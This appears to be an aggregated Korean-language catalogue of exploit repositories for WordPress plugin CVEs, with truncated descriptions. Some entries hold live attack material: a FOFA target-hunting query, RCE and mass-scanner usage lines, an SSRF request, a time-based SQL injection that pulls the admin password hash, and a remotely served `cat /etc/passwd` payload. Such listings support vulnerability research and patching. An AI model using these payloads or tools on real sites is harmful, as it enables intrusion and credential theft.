CVE-2024-27954

⚠️ CVE-2024-27954 💀 자동 원격 코드 실행 익스플로잇 도구 | GhostSec 제작 💀 📝 설명 WP Automatic Automatic의 제한된 디렉토리에 대한 경로명 부적절한 제한'경로 탐색' 취약점으로 인해 경로 탐색, 서버 측 요청 위조가 가능합니다. 이 문제는 Automatic 버전 n/a부터 3.92.0까지 영향을 미칩니다. ⌛ 쿼리 FOFA = body="wp-content/plugins/wp-automatic" && header="HTTP/1.1 200 OK" ZoomEye =...

CVE-2021-25094-tatsu-preauth-rce

Tatsu builder Wordpress 플러그인의 사전 인증 RCE CVE-2021-25094 Tatsu Builder = 3.3.11에서의 인증되지 않은 RCE의 간단한 PoC 예제입니다. 전체 분석 글은 여기: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 사용법: python3 exploit-rce.py -h --technique TECHNIQUE --customShell CUSTOMSHELL --keep KEEP --proxy...

CVE-2023-1405

CVE-2023-1405 Formidable Forms = 6.1.2 - 인증되지 않은 PHP 객체 주입 설명: Formidable Forms 플러그인 for WordPress는 버전 6.1.2까지 포함 폼 제출의 신뢰할 수 없는 입력을 역직렬화하여 PHP 객체 주입에 취약합니다. 이를 통해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 취약한 플러그인에는 POP 체인이 존재하지 않습니다. 대상 시스템에 추가 플러그인이나 테마를 통해 POP 체인이 존재하는 경우, 공격자가 임의의 파일을 삭제하거나, 민감한 데이터를...

CVE-2023-23488-pmpro-2.8

취약점의 도커라이제이션: CVE-2023-23488 이 프로젝트는 Docker를 이용하여 특정 취약점을 도커라이즈하는 것을 목표로 합니다. 목표는 취약점을 안전하게 악용하고 테스트할 수 있는 격리된 환경을 만드는 것입니다. 취약한 애플리케이션 Paid Memberships Pro v2.9.8 WordPress Plugin - 인증되지 않은 SQL 인젝션 설치 이 프로젝트를 실행하려면 시스템에 다음이 필요합니다: Docker Python SQLMAP 필수 구성 요소가 설치되면 이 Git 저장소를 시스템에 클론할 수 있습니다: g...

CVE-2022-0441

CVE-2022-0441 Title: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation Date: 16.02.2022 Author: Numan Türle CVE: CVE-2022-0441 Software Link: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/ Version: 2.7.6 설치 git clone...

CVE-2022-1329

WordPress Plugin - Elementor 3.6.0 3.6.1 3.6.2 원격 코드 실행 날짜: 2023년 4월 16일 공격자: Việt Hùng https://github.com/phanthibichtram12 공급자 홈페이지: https://elementor.com/ 소프트웨어 링크: https://wordpress.org/plugins/elementor/advanced/ 아래로 스크롤하여 버전 선택 버전: 3.6.0, 3.6.1, 3.62 테스트 환경: WordPress 5.9.3 이 공격은 페이로드를 제공하지...

UPGer

UPGer | CVE-2022-4060 - User Post Gallery CVE-2022-4060 취약점을 확인하기 위한 자동 대량 도구 - WordPress 플러그인: User Post Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 사용 방법 bash upger.sh yourlist.txt thread 참고 자료...

CVE-2025-6970

CVE-2025-6970 Events Manager = 7.0.3 - orderby 파라미터를 통한 인증되지 않은 SQL 인젝션 설명 WordPress용 Events Manager – Calendar, Bookings, Tickets, and more! 플러그인은 최대 7.0.3 버전까지 'orderby' 파라미터를 통해 시간 기반 SQL 인젝션에 취약합니다. 이는 사용자가 제공한 파라미터에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 충분한 준비 부족 때문입니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가...

CVE-2022-0441

MasterStudy LMS 플러그인 2.7.5 이하 버전에서 WordPress WordPress 플러그인에 치명적인 취약점이 발견되었습니다. 이 취약점은 New Account Handler 구성 요소의 알 수 없는 부분에 영향을 미칩니다. 알 수 없는 입력을 통한 조작으로 인해 권한 관리 취약점이 발생합니다. 취약점의 CWE 정의는 CWE-269입니다. 소프트웨어가 액터에 대한 권한을 올바르게 할당, 수정, 추적 또는 확인하지 않아 해당 액터에 대한 의도하지 않은 제어 영역이 생성됩니다. 이 영향으로 기밀성, 무결성 및 가용...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE CVE-2024-2961 및 CVE-2023–26326을 악용하여 RCE 달성 사용법 git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 분석 및 기술 세부 사항 제 블로그 게시물을 확인하세요 POC...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - 인증되지 않은 SSRF 설명 Fusion Builder는 드래그 앤 드롭 인터페이스를 사용하여 페이지를 만들고 편집할 수 있는 WordPress 플러그인입니다. 이 플러그인은 인증되지 않은 SSRF 취약점을 가지고 있어 공격자가 서버의 모든 파일을 읽을 수 있습니다. 개념 증명 요청: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Windows NT 10.0;...

CVE-2023-3460

CVE-2023-3460 CVE-2023-3460용 익스플로잇 - Ultimate Member 플러그인의 무단 관리자 액세스. PoC가 이제 공개되었습니다. 교육/연구 목적으로만 제작되었습니다! 사용에 따른 책임은 본인에게 있습니다!...

CVE-2025-3054-Exploit

CVE-2025-3054 Exploit: 여기서 다운로드 세부 정보 CVE ID : CVE-2025-3054 게시일 : 2025년 6월 5일 CVSS : 8.8 패치 가능 여부: 공식 패치는 아직 없음 영향 WP User Frontend Pro 플러그인WordPress용은 uploadfiles 함수에서 파일 유형 검증이 누락되어 모든 버전4.1.3 포함까지 임의 파일 업로드에 취약합니다. 이로 인해 인증된 공격자가 Subscriber-level 이상의 접근 권한을 가진 경우 영향을 받는 사이트 서버에 임의의 파일을 업로드할 수...

CVE-2025-9286

CVE-2025-9286 Appy Pie Connect for WooCommerce = 1.1.2 - 누락된 권한 부여로 인한 인증되지 않은 권한 상승 ⚠️ Appy Pie Connect for WooCommerce = 1.1.2 - resetuserpassword를 통한 누락된 권한 부여로 인한 인증되지 않은 권한 상승 📝 설명 WordPress용 Appy Pie Connect for WooCommerce 플러그인은 1.1.2 이하의 모든 버전에서 resetuserpassword REST 핸들러 내 권한 부여 누락으로 인해 권...

TypeHub-Exploiter

TypeHub Exploiter 이 스크립트는 TypeHub WordPress 플러그인의 취약점CVE-2021-25094을 악용합니다...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE system'cat /etc/passwd' ✅ 2단계 – Python HTTP 서버 시작 Python을 사용하여 페이로드를 제공합니다: python3 -m http.server 8000 그러면 payload.txt에 다음 주소로 접근할 수 있습니다: http://:8000/payload.txt ✅ 3단계 – 익스플로잇 실행 python3 CVE-2019-9978.py --target http:///wordpress \ --payload-u...

WordPress-NotificationX-CVE-2024-1698

설정 docker-compose up --build 정리 docker-compose down 테스트 Measure-Command curl.exe http://localhost/wp-json/notificationx/v1/analytics -Method Post -Body 'nxid=1337&type=clicks=IFASCIISUBSTRINGselect userpass from wpusers where id=1,1,1=36,SLEEP10,null-- -'...

Check-WP-CVE-2020-35489

Check-WP-CVE-2020-35489 CVE-2020-35489 CVE-2020-35489는 WordPress 플러그인 Contact Form 7 5.3.1 및 이전 버전에서 발견된 취약점입니다. 이 취약점을 악용하면 공격자는 웹사이트에 업로드할 수 있는 파일 유형에 적용된 모든 제한을 우회하여 모든 유형의 파일을 간단히 업로드할 수 있습니다. 약 500만 개의 웹사이트가 영향을 받은 것으로 추정됩니다. PoC는 사용자에게 업데이트할 시간을 주기 위해 2020년 12월 31일에 공개될 예정입니다. 참조...

CVE-2022-1598

CVE-2022-1598 WPQA where ID is numeric and can be bruteforced! Nuclei 템플릿: CVE-2022-1598.yaml 비디오 PoC: https://www.youtube.com/watch?v=MbhiQKWvivQ 참고 자료: https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 https://vulners.com/cve/CVE-2022-1598...

CVE-2021-25003

CVE-2021-25003 Title: WPCargo 6.9.0 - Unauthenticated RCE Author: Krzysztof Zając https://kazet.cc/ CVE: CVE-2021-25003 설치 git clone https://github.com/biulove0x/CVE-2021-25003.git cd CVE-2021-25003/ python3 -m pip install -r requirements.txt 자동 익스플로잇 실행 방법 $ python3 WpCargo.py --help @author :...